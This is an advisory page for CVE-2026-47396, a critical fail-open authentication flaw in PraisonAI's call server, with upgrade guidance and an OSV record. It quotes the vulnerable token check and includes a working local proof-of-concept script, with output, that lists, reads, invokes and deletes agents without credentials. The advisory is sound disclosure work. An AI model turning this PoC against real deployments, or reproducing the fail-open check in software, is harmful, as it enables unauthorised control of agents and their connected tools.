CVE-2026-47396: PraisonAI PraisonAI Call Server Exposes Unauthenticated Vulnerability

CRITICAL
Advisory Identifier: GHSA-86qc-r5v2-v6x6
CVSS 9.8
CWE-284 CWE-306
Published
Advisory Summary

CVE-2026-47396 is a CRITICAL (CVSS 9.8) praisonai call server exposes unauthenticated vulnerability (CWE-284: Improper Access Control) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai call server exposes unauthenticated agent listing, invocation, and deletion when call_server_token is unset. Remediation is available by upgrading affected packages to version 4.6.40.

CVE-2026-47396 at a Glance

CVE Identifier CVE-2026-47396
GHSA Identifier GHSA-86qc-r5v2-v6x6
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-284: Improper Access Control
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-47396

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.6.40
pip install PraisonAI>=4.6.40
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-47396, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.40), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PraisonAI's call server exposes a network-facing agent control API without authentication when `CALL_SERVER_TOKEN` is not configured. The affected component is the `praisonai.api.agent_invoke` router as mounted by `praisonai.api.call`. The authentication helper `verify_token()` fails open when `CALL_SERVER_TOKEN` is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents. This is security-relevant because the bundled call server includes the vulnerable router and binds to `0.0.0.0`. As a result, operators who launch the call server without explicitly setting `CALL_SERVER_TOKEN` may unintentionally expose an unauthenticated remote agent control plane. ### Details The vulnerable behavior is caused by a fail-open authentication default. In `praisonai/api/agent_invoke.py`, `CALL_SERVER_TOKEN` is read from the environment: ```python CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN') ``` The authentication dependency then returns successfully when the token is not configured: ```python async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN: return # No authentication if FastAPI unavailable or no token set ``` This means that the absence of `CALL_SERVER_TOKEN` disables authentication entirely. The same helper is used by sensitive agent-control routes, including: ```python @router.post("/agents/{agent_id}/invoke") async def invoke_agent(..., _: None = Depends(verify_token)) @router.get("/agents") async def list_agents(_: None = Depends(verify_token)) @router.delete("/agents/{agent_id}") async def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token)) @router.get("/agents/{agent_id}") async def get_agent_info(agent_id: str, _: None = Depends(verify_token)) ``` These endpoints allow a caller to: - list registered agents; - retrieve agent metadata; - retrieve agent instruction text; - invoke agents; - unregister agents. The vulnerable router is mounted by the call server: ```python from .agent_invoke import router as agent_invoke_router app.include_router(agent_invoke_router) ``` The call server then listens on all interfaces: ```python uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning") ``` Therefore, when `praisonai-call` is started without `CALL_SERVER_TOKEN`, the agent-control API becomes reachable without authentication from any client that can access the server. ### PoC The following local PoC imports the real `praisonai.api.agent_invoke` router from source, ensures `CALL_SERVER_TOKEN` is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints. The PoC proves that, without sending any authentication material: 1. `GET /api/v1/agents` returns the list of registered agents. 2. `GET /api/v1/agents/{agent_id}` exposes agent metadata and instructions. 3. `POST /api/v1/agents/{agent_id}/invoke` executes the registered agent. 4. `DELETE /api/v1/agents/{agent_id}` unregisters the agent. Run with: ```bash PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py ``` Full PoC: ```python #!/usr/bin/env python3 from __future__ import annotations import os import sys from pathlib import Path from types import SimpleNamespace REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve() PRAISON_ROOT = REPO_ROOT / "src" / "praisonai" def verify_source() -> None: expected = { PRAISON_ROOT / "praisonai/api/agent_invoke.py": [ "CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')", "if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:", '@router.post("/agents/{agent_id}/invoke")', '@router.get("/agents")', '@router.delete("/agents/{agent_id}")', '@router.get("/agents/{agent_id}")', ], PRAISON_ROOT / "praisonai/api/call.py": [ "app.include_router(agent_invoke_router)", 'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")', ], } for path, needles in expected.items(): if not path.exists(): raise RuntimeError(f"source verification failed: file not found: {path}") text = path.read_text(encoding="utf-8") for needle in needles: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {path}") class DemoAgent: name = "demo-agent" instructions = "super-secret instructions" tools = [SimpleNamespace(name="danger-tool")] def start(self, message: str) -> str: return f"echo:{message}" def main() -> int: verify_source() os.environ.pop("CALL_SERVER_TOKEN", None) sys.path.insert(0, str(PRAISON_ROOT)) from fastapi import FastAPI from fastapi.testclient import TestClient from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router app = FastAPI() app.include_router(router) register_agent("demo", DemoAgent()) client = TestClient(app) list_resp = client.get("/api/v1/agents") info_resp = client.get("/api/v1/agents/demo") invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"}) delete_resp = client.delete("/api/v1/agents/demo") print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}") print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}") print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}") print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}") print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}") if CALL_SERVER_TOKEN: raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process") if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []): raise SystemExit("[poc] MISS: unauthenticated agent listing failed") if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions": raise SystemExit("[poc] MISS: unauthenticated agent info leak failed") if invoke_resp.status_code != 200 or invoke_resp.json().get("result") != "echo:hello": raise SystemExit("[poc] MISS: unauthenticated agent invocation failed") if delete_resp.status_code != 200: raise SystemExit("[poc] MISS: unauthenticated agent unregister failed") print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` Observed result: ```text [poc] token_configured=False [poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'} [poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']} [poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}} [poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'} [poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent ``` This confirms that the agent-control endpoints are accessible without authentication when `CALL_SERVER_TOKEN` is unset. ### Impact If an operator runs the PraisonAI call server without explicitly setting `CALL_SERVER_TOKEN`, any reachable client may be able to: - enumerate registered agents; - read agent metadata; - read agent instruction text; - invoke agents; - trigger downstream tools or external integrations connected to agents; - consume model or API budget through repeated invocation; - unregister agents and disrupt availability. The impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface. The issue is not limited to information disclosure. The unauthenticated `invoke` endpoint can trigger agent execution, and the unauthenticated `delete` endpoint can remove registered agents. ### Suggested remediation Recommended fixes: 1. Fail closed when `CALL_SERVER_TOKEN` is unset. The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied. 2. Refuse to mount the agent invocation router unless authentication is configured. 3. If unauthenticated mode is intended for local development, bind to `127.0.0.1` by default when `CALL_SERVER_TOKEN` is absent. 4. Add a startup error or highly visible warning when the call server is started without authentication. 5. Add regression tests that assert `401 Unauthorized` for all sensitive agent routes when no valid token is supplied. 6. Consider requiring an explicit unsafe flag, such as `--allow-unauthenticated-call-server`, before allowing the server to start without authentication. ### Security boundary This report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when `CALL_SERVER_TOKEN` is missing while the bundled server binds to `0.0.0.0`, which can expose the agent-control API remotely.

CVE-2026-47396 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.40
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.6.40
4.6.40

References

Frequently Asked Questions

What is CVE-2026-47396?
CVE-2026-47396 is a security vulnerability in PraisonAI involving PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset under CWE-284: Improper Access Control.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.40 across affected packages: PraisonAI.
What version fixes CVE-2026-47396?
Upgrading to 4.6.40 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.40. Upgrade your dependency to 4.6.40 or later.
What is the CVSS score of CVE-2026-47396?
CVE-2026-47396 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-47396?
CVE-2026-47396 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2026-47396?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-86qc-r5v2-v6x6",
  "modified" : "2026-05-29T22:27:34Z",
  "published" : "2026-05-29T22:27:34Z",
  "aliases" : [ "CVE-2026-47396" ],
  "summary" : "PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset",
  "details" : "### Summary\n\nPraisonAI's call server exposes a network-facing agent control API without authentication when `CALL_SERVER_TOKEN` is not configured.\n\nThe affected component is the `praisonai.api.agent_invoke` router as mounted by `praisonai.api.call`. The authentication helper `verify_token()` fails open when `CALL_SERVER_TOKEN` is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.\n\nThis is security-relevant because the bundled call server includes the vulnerable router and binds to `0.0.0.0`. As a result, operators who launch the call server without explicitly setting `CALL_SERVER_TOKEN` may unintentionally expose an unauthenticated remote agent control plane.\n\n### Details\n\nThe vulnerable behavior is caused by a fail-open authentication default.\n\nIn `praisonai/api/agent_invoke.py`, `CALL_SERVER_TOKEN` is read from the environment:\n\n```python\nCALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')\n```\n\nThe authentication dependency then returns successfully when the token is not configured:\n\n```python\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:\n    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\n        return  # No authentication if FastAPI unavailable or no token set\n```\n\nThis means that the absence of `CALL_SERVER_TOKEN` disables authentication entirely.\n\nThe same helper is used by sensitive agent-control routes, including:\n\n```python\n@router.post(\"/agents/{agent_id}/invoke\")\nasync def invoke_agent(..., _: None = Depends(verify_token))\n\n@router.get(\"/agents\")\nasync def list_agents(_: None = Depends(verify_token))\n\n@router.delete(\"/agents/{agent_id}\")\nasync def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))\n\n@router.get(\"/agents/{agent_id}\")\nasync def get_agent_info(agent_id: str, _: None = Depends(verify_token))\n```\n\nThese endpoints allow a caller to:\n\n- list registered agents;\n- retrieve agent metadata;\n- retrieve agent instruction text;\n- invoke agents;\n- unregister agents.\n\nThe vulnerable router is mounted by the call server:\n\n```python\nfrom .agent_invoke import router as agent_invoke_router\napp.include_router(agent_invoke_router)\n```\n\nThe call server then listens on all interfaces:\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")\n```\n\nTherefore, when `praisonai-call` is started without `CALL_SERVER_TOKEN`, the agent-control API becomes reachable without authentication from any client that can access the server.\n\n### PoC\n\nThe following local PoC imports the real `praisonai.api.agent_invoke` router from source, ensures `CALL_SERVER_TOKEN` is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.\n\nThe PoC proves that, without sending any authentication material:\n\n1. `GET /api/v1/agents` returns the list of registered agents.\n2. `GET /api/v1/agents/{agent_id}` exposes agent metadata and instructions.\n3. `POST /api/v1/agents/{agent_id}/invoke` executes the registered agent.\n4. `DELETE /api/v1/agents/{agent_id}` unregisters the agent.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\n\n\ndef verify_source() -> None:\n    expected = {\n        PRAISON_ROOT / \"praisonai/api/agent_invoke.py\": [\n            \"CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')\",\n            \"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\",\n            '@router.post(\"/agents/{agent_id}/invoke\")',\n            '@router.get(\"/agents\")',\n            '@router.delete(\"/agents/{agent_id}\")',\n            '@router.get(\"/agents/{agent_id}\")',\n        ],\n        PRAISON_ROOT / \"praisonai/api/call.py\": [\n            \"app.include_router(agent_invoke_router)\",\n            'uvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")',\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass DemoAgent:\n    name = \"demo-agent\"\n    instructions = \"super-secret instructions\"\n    tools = [SimpleNamespace(name=\"danger-tool\")]\n\n    def start(self, message: str) -> str:\n        return f\"echo:{message}\"\n\n\ndef main() -> int:\n    verify_source()\n\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    sys.path.insert(0, str(PRAISON_ROOT))\n\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router\n\n    app = FastAPI()\n    app.include_router(router)\n\n    register_agent(\"demo\", DemoAgent())\n\n    client = TestClient(app)\n\n    list_resp = client.get(\"/api/v1/agents\")\n    info_resp = client.get(\"/api/v1/agents/demo\")\n    invoke_resp = client.post(\"/api/v1/agents/demo/invoke\", json={\"message\": \"hello\"})\n    delete_resp = client.delete(\"/api/v1/agents/demo\")\n\n    print(f\"[poc] token_configured={bool(CALL_SERVER_TOKEN)}\")\n    print(f\"[poc] list_status={list_resp.status_code} body={list_resp.json()}\")\n    print(f\"[poc] info_status={info_resp.status_code} body={info_resp.json()}\")\n    print(f\"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}\")\n    print(f\"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}\")\n\n    if CALL_SERVER_TOKEN:\n        raise SystemExit(\"[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process\")\n\n    if list_resp.status_code != 200 or \"demo\" not in list_resp.json().get(\"agents\", []):\n        raise SystemExit(\"[poc] MISS: unauthenticated agent listing failed\")\n\n    if info_resp.status_code != 200 or info_resp.json().get(\"instructions\") != \"super-secret instructions\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent info leak failed\")\n\n    if invoke_resp.status_code != 200 or invoke_resp.json().get(\"result\") != \"echo:hello\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent invocation failed\")\n\n    if delete_resp.status_code != 200:\n        raise SystemExit(\"[poc] MISS: unauthenticated agent unregister failed\")\n\n    print(\"[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nObserved result:\n\n```text\n[poc] token_configured=False\n[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}\n[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}\n[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}\n[poc] delete_status=200 body={'message': \"Agent 'demo' unregistered successfully\", 'status': 'success'}\n[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\n```\n\nThis confirms that the agent-control endpoints are accessible without authentication when `CALL_SERVER_TOKEN` is unset.\n\n### Impact\n\nIf an operator runs the PraisonAI call server without explicitly setting `CALL_SERVER_TOKEN`, any reachable client may be able to:\n\n- enumerate registered agents;\n- read agent metadata;\n- read agent instruction text;\n- invoke agents;\n- trigger downstream tools or external integrations connected to agents;\n- consume model or API budget through repeated invocation;\n- unregister agents and disrupt availability.\n\nThe impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.\n\nThe issue is not limited to information disclosure. The unauthenticated `invoke` endpoint can trigger agent execution, and the unauthenticated `delete` endpoint can remove registered agents.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Fail closed when `CALL_SERVER_TOKEN` is unset.\n\n   The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.\n\n2. Refuse to mount the agent invocation router unless authentication is configured.\n\n3. If unauthenticated mode is intended for local development, bind to `127.0.0.1` by default when `CALL_SERVER_TOKEN` is absent.\n\n4. Add a startup error or highly visible warning when the call server is started without authentication.\n\n5. Add regression tests that assert `401 Unauthorized` for all sensitive agent routes when no valid token is supplied.\n\n6. Consider requiring an explicit unsafe flag, such as `--allow-unauthenticated-call-server`, before allowing the server to start without authentication.\n\n### Security boundary\n\nThis report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when `CALL_SERVER_TOKEN` is missing while the bundled server binds to `0.0.0.0`, which can expose the agent-control API remotely.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.39"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:27:34Z",
    "nvd_published_at" : null
  }
}